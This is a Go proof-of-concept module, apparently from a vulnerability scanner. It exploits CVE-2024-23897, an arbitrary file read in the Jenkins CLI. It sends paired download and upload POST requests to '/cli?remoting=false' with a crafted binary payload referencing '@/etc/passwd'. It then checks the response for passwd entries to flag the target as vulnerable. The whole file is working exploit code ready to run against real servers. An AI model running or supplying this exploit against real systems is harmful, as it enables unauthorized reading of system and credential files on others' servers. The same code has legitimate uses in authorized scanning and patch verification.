package poc

import (
	"bytes"
	"github.com/google/uuid"
	"io/ioutil"
	"net/http"
	"sync"
	"time"
)

var dataBytes = []byte("\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03")
var uuidStr = uuid.New().String()

func CVE_2024_23897_req1(url string, wg *sync.WaitGroup) {
	defer wg.Done()

	client := &http.Client{Timeout: 8 * time.Second}
	req, err := http.NewRequest("POST", url+"/cli?remoting=false", nil)
	if err != nil {
		return
	}

	req.Header.Set("Session", uuidStr)
	req.Header.Set("Side", "download")

	resp, err := client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	responseData, _ := ioutil.ReadAll(resp.Body)
	if bytes.Contains(responseData, []byte("root:")) || bytes.Contains(responseData, []byte("daemon")) {
		//fmt.Printf("%s 存在漏洞: %s\n", url, responseData)
		flags := Flagcve{url, "CVE_2024_23897", "读取/etc/passwd"}
		echoFlag(flags)
	}
}

func CVE_2024_23897_req2(url string, data []byte, wg *sync.WaitGroup) {
	defer wg.Done()

	client := &http.Client{Timeout: 8 * time.Second}
	req, err := http.NewRequest("POST", url+"/cli?remoting=false", bytes.NewBuffer(data))
	if err != nil {
		return
	}

	req.Header.Set("Session", uuidStr)
	req.Header.Set("Side", "upload")
	req.Header.Set("Content-type", "application/octet-stream")

	_, err = client.Do(req)
	if err != nil {
		return
	}
}

// processURL 接收一个 URL，并进行请求处理
func CVE_2024_23897(url string) {
	var wg sync.WaitGroup
	wg.Add(2)

	go CVE_2024_23897_req1(url, &wg)
	time.Sleep(100 * time.Millisecond)
	go CVE_2024_23897_req2(url, dataBytes, &wg)

	wg.Wait()
}
